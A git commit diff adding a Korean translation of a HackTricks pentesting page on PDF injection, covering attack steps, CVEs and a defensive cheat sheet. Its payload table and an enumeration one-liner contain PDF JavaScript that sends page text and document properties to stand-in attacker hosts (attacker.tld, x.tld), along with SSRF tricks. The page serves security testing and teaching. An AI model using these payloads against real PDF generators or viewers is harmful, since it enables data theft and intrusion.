Translated ['src/pentesting-web/xss-cross-site-scripting/pdf-injection.m

This commit is contained in:
Translator 2025-08-04 18:13:44 +00:00
parent bcbafdb686
commit 46533cd838

View File

@ -1,7 +1,55 @@
{{#include ../../banners/hacktricks-training.md}}
**PDF 파일 내에서 입력이 반영되고 있다면, JavaScript를 실행하거나 PDF 콘텐츠를 훔치기 위해 PDF 데이터를 주입해 볼 수 있습니다.**
Chec the post: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
# PDF Injection
{{#include ../../banners/hacktricks-training.md}}
**PDF 파일 내에서 입력이 반영되는 경우, JavaScript를 실행하거나 SSRF를 수행하거나 PDF 콘텐츠를 훔치기 위해 PDF 데이터를 주입할 수 있습니다.**
PDF 구문은 매우 관대합니다 입력을 포함하는 문자열이나 사전에서 벗어날 수 있다면, Acrobat/Chrome이 기꺼이 구문 분석할 새로운 객체(또는 동일한 객체의 새로운 키)를 추가할 수 있습니다.
2024년부터 버그 바운티 보고서의 물결이 *하나의 이스케이프되지 않은 괄호나 백슬래시로도* 전체 스크립트 실행이 가능하다는 것을 보여주었습니다.
## TL;DR 현대 공격 워크플로우 (2024)
1. 생성된 PDF의 **(괄호 문자열)**, `/URI ( … )` 또는 `/JS ( … )` 필드 내에 위치하는 사용자 제어 값 찾기.
2. `) ` (문자열 닫기) 다음에 아래의 원시 중 하나를 주입하고 구문을 유효하게 유지하기 위해 또 다른 여는 괄호로 마무리합니다.
3. 악성 PDF를 피해자에게 전달하거나(또는 파일을 자동으로 렌더링하는 백엔드 서비스에 전달 블라인드 버그에 유용).
4. PDF 뷰어에서 페이로드가 실행됩니다:
* Chrome / Edge → PDFium Sandbox
* Firefox → PDF.js (CVE-2024-4367 참조)
* Acrobat → 전체 JavaScript API (임의 파일 내용을 `this.getPageNthWord`로 유출할 수 있음)
예시 (주석 링크 하이재킹):
```pdf
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
```
*첫 번째 `)`는 원래 URI 문자열을 닫고, 사용자가 링크를 클릭할 때 Acrobat이 실행할 새로운 **Action** 사전을 추가합니다.*
## 유용한 주입 원시
| 목표 | 페이로드 스니펫 | 비고 |
|------|-----------------|-------|
| **열 때 JavaScript** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | 문서가 열릴 때 즉시 실행됩니다 (Acrobat에서 작동, Chrome에서는 작동하지 않음). |
| **링크에서 JavaScript** | `/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>` | `/Link` 주석을 제어할 경우 PDFium 및 Acrobat에서 작동합니다. |
| **블라인드 데이터 유출** | `<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)` | JS 내에서 `this.getPageNthWord`와 결합하여 콘텐츠를 훔칩니다. |
| **서버 측 SSRF** | 위와 동일하지만 내부 URL을 타겟으로 설정 PDF가 `/URI`를 존중하는 백오피스 서비스에 의해 렌더링될 때 유용합니다. |
| **새 객체를 위한 줄 바꿈** | `\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj` | 라이브러리가 새 줄 문자를 주입할 수 있게 허용하면 완전히 새로운 객체를 생성할 수 있습니다. |
## 블라인드 열거 트릭
Gareth Heyes (PortSwigger)는 알 수 없는 문서 내의 모든 객체를 열거하는 원라이너를 발표했습니다 생성된 PDF를 볼 수 없을 때 유용합니다:
```pdf
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
```
코드는 Acrobat DOM을 반복하며 모든 속성/값 쌍에 대해 외부 요청을 수행하여 파일의 *JSON-ish* 덤프를 제공합니다. 전체 기술에 대한 내용은 백서 “Portable Data **ex**Filtration”을 참조하십시오.
## 실제 버그 (2023-2025)
* **CVE-2024-4367** Firefox의 PDF.js 4.2.67 이전에서 임의의 JavaScript 실행이 조작된 `/JavaScript` 작업으로 샌드박스를 우회했습니다.
* **버그 바운티 2024-05** 주요 핀테크가 고객 제공 송장 노트를 `/URI`에 허용했으며, `file:///` URI를 사용하여 내부 메타데이터 호스트에 대한 SSRF를 시연한 후 보고서에 $10k가 지급되었습니다.
* **CVE-2023-26155** 비정상적인 PDF 경로를 통한 `node-qpdf` 명령 주입은 PDF 레이어 이전에 백슬래시와 괄호를 이스케이프하는 것의 중요성을 보여줍니다.
## 방어용 치트시트
1. **절대 사용자 입력을 `(`…`)` 문자열이나 이름에 연결하지 마십시오.** PDF 사양 §7.3에 따라 필요한 경우 `\`, `(`, `)`를 이스케이프하거나 16진수 문자열 `<...>`을 사용하십시오.
2. 링크를 생성할 경우, `/URI (https://…)`를 선호하며 *완전히* URL 인코딩하십시오; 클라이언트 뷰어에서 `javascript:` 스킴을 차단하십시오.
3. PDF 후처리 시 `/OpenAction`, `/AA` (추가 작업), `/Launch`, `/SubmitForm``/ImportData` 사전을 제거하거나 검증하십시오.
4. 서버 측에서는 신뢰할 수 없는 PDF를 JavaScript 및 외부 작업을 제거하는 *헤드리스 변환기* (예: qpdf decrypt linearize)로 렌더링하십시오.
5. PDF 뷰어를 최신 상태로 유지하십시오; PDF.js < 4.2.67 2024년 7월 이전의 Acrobat Reader는 사소한 코드 실행을 허용합니다.
## 참고문헌
* Gareth Heyes, “Portable Data exFiltration XSS for PDFs”, PortSwigger Research (2024년 5월 업데이트). <https://portswigger.net/research/portable-data-exfiltration>
* Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (2024년 4월). <https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js>
{{#include ../../banners/hacktricks-training.md}}